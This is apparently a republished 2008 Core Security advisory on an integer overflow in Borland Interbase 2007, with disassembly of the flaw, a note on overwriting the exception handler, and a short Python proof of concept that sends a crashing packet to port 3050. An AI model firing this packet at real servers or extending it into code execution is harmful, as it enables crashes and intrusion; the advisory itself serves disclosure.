10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.176 Low
EPSS
Percentile
96.2%
**Title:**Borland Interbase 2007 Integer Overflow
**Advisory ID:**CORE-2008-0415
**Advisory URL:**http://www.coresecurity.com/?action=item&id=2278
**Date published:**2008-05-20
**Date of last update:**2008-05-20
**Vendors contacted:**Borland
**Release mode:**Coordinated release
**Class:**Integer Overflow
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
Bugtraq Name:
CVE Name:
The Borland Interbase 2007 database server [1] is vulnerable to an integer overflow when a malformed packet is sent to the default TCP port 3050. The integer overflow can cause a stack overflow, which allows arbitrary code execution with system privileges.
Verbatim from vendor:
"CodeGear is aware of an InterBase security vulnerability that can expose an InterBase server (running on Microsoft Windows, Linux, Solaris and Macintosh platforms) to a possible security breach. This vulnerability is exposed via inside the firewall connections. If an open port which is connected to an InterBase server is found, and a socket connection is made to the InterBase server, invalid data can be sent to the InterBase server which can cause a buffer overflow resulting in a hang or crash of the InterBase server.
How do I protect my InterBase servers from this security vulnerability?
There are 2 basic steps to protect your InterBase servers from this vulnerability:
1. The Interbase.log file will give error log information about remote machines that have invalid connection attempts. You can use this information to identify such rogue applications and take corrective action.
2. InterBase versions 7.5 and later provide a facility to redefine your instance of InterBase to use a different TCP port. Use this facility when you install the product so external rogue applications cannot connect to a รขโฌลknownรขโฌย port.
Please consult your security advisors for the best way to protect your systems.
We are investigating additional solutions to address this vulnerability and will notify users of any further precautions which may be taken for additional protection."
This vulnerability was discovered and researched by Damian Frizza, from CORE IMPACTโs Exploit Writing Team (EWT), Core Security Technologies. Special thanks to Alfredo Ortega. An exploit for this vulnerability will be shortly available for CORE IMPACT customers.
The Borland Interbase 2007 database server is vulnerable to an integer overflow when a malformed packet is sent to the default TCP port 3050. The integer overflow causes a stack overflow, which allows arbitrary code execution with system privileges.
During the research of a Firebird SQL bug reported earlier by another party [2] a triggering proof of concept was developed. According to [3], Firebird SQL started as a fork of Borlandโs open source release of InterBase, so the Firebird PoC was also tested on Interbase, triggering the bug described in this advisory.
1) Solaris version:
This is the vulnerable code section:
inet_accept_connection+0x164: srl %o5, 0x10, %o7 inet_accept_connection+0x168: ld [%l0 + 0xcc], %l1 inet_accept_connection+0x16c: sth %o7, [%l1 + 8] inet_accept_connection+0x170: ba +0x3a0 <inet_accept_connection+0x510> inet_accept_connection+0x174: ld [%fp - 0x8c], %g2 inet_accept_connection+0x178: ld [%fp - 0x88], %g3 inet_accept_connection+0x17c: add %fp, -0x84, %g2 inet_accept_connection+0x180: st %g2, [%fp - 0x90] inet_accept_connection+0x184: ldsb [%g3], %g4 inet_accept_connection+0x188: st %g4, [%fp - 0xa0] inet_accept_connection+0x18c: ld [%fp - 0x88], %o5 inet_accept_connection+0x190: add %o5, 1, %o7 inet_accept_connection+0x194: st %o7, [%fp - 0x88] inet_accept_connection+0x198: ld [%fp - 0xa0], %o4 inet_accept_connection+0x19c: st %o4, [%fp - 0x304] inet_accept_connection+0x1a0: ld [%fp - 0x304], %l0 inet_accept_connection+0x1a4: st %l0, [%fp - 0x308] inet_accept_connection+0x1a8: ld [%fp - 0x308], %l1 inet_accept_connection+0x1ac: cmp %l1, 0 inet_accept_connection+0x1b0: be,a +0x50 <inet_accept_connection+0x200> inet_accept_connection+0x1b4: clr %g2.
The integer overflow occurs when loading a signed byte from the packet here:
inet_accept_connection+0x184: ldsb [%g3], %g4 g4 = 0xffffff80
Then the value overflowing g4
is moved to l3
, and used as a counter
inet_accept_connection+0x1b8: ld [%fp - 0x88], %g2 inet_accept_connection+0x1bc: ld [%fp - 0x90], %g4 inet_accept_connection+0x1c0: ldsb [%g2], %g3 * inet_accept_connection+0x1c4: stb %g3, [%g4] **inet_accept_connection+0x1c8: ld [%fp - 0xa0], %l1 inet_accept_connection+0x1cc: ld [%fp - 0x88], %o4 inet_accept_connection+0x1d0: sub %l1, 1, %l2 inet_accept_connection+0x1d4: st %l2, [%fp - 0xa0] inet_accept_connection+0x1d8: add %o4, 1, %o5 inet_accept_connection+0x1dc: st %o5, [%fp - 0x88] inet_accept_connection+0x1e0: ld [%fp - 0xa0], %l3 inet_accept_connection+0x1e4: cmp %l3, 0*** inet_accept_connection+0x1e8: ld [%fp - 0x90], %o7 inet_accept_connection+0x1ec: add %o7, 1, %l0 inet_accept_connection+0x1f0: st %l0, [%fp - 0x90] inet_accept_connection+0x1f4: bne,a -0x38 <inet_accept_connection+0x1bc> * g3 point to packet bytes **copy packet bytes to the stack address pointed by g4*** loop until l3 = 0
2) Windows version:
In this platform the integer overflow is produced here:
0040F605 0FBE11 MOVSX EDX,BYTE PTR DS:[ECX]
And here the packet data is copied from the packet to the stack:
0040F62C 880A MOV BYTE PTR DS:[EDX],CL
In the stack we can see a 0x40 bytes size buffer followed by a pointer to the source string:
00ECF6CC 0000000 00ECF6D0 00000000 00ECF6D4 00000000 00ECF6D8 00000000 00ECF6DC 00000000 00ECF6E0 00000000 00ECF6E4 00000000 00ECF6E8 00000000 00ECF6EC 00000000 00ECF6F0 00000000 00ECF6F4 00000000 00ECF6F8 00000000 00ECF6FC 00000000 00ECF700 00000000 00ECF704 00000000 00ECF708 00000000 00ECF70C 00A9636D * * source string pointer
We can write on the Structured Exception Handler taking control of the program flow if we set a pointer to our data when the loop writes the source pointer.
The following Python code demonstrates the bug on the default installation. Replace the IP address 192.168.22.252
with yours. Port 3050
is the default one.
# save as ibserver_poc.py and run it with Python import socket import struct socket = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) socket.connect(("192.168.22.252", 3050)) packet ='\x00\x00\x00\x01\x00\x00\x00\x13' packet +='\x00\x00\x00\x05\x00\x00\x00\x1d' packet +='\x00\x00\x00\x09' packet += 'B' * 9 packet +='\x00'*6 packet +='\x02\x00\x00' packet += '\x01\x60' packet +='\x02' packet += chr(0x80) # negative byte packet += 'A' * 1000 socket.send(packet) socket.close()
[1] Borland Interbase 2007 <http://www.codegear.com/products/interbase>
[2] Firebird Username Remote Buffer Overflow Vulnerability <https://vulners.com/cve/CVE-2008-0467>
[3] http://en.wikipedia.org/w/index.php?title=Firebird_%28database_server%29&oldid=211756509
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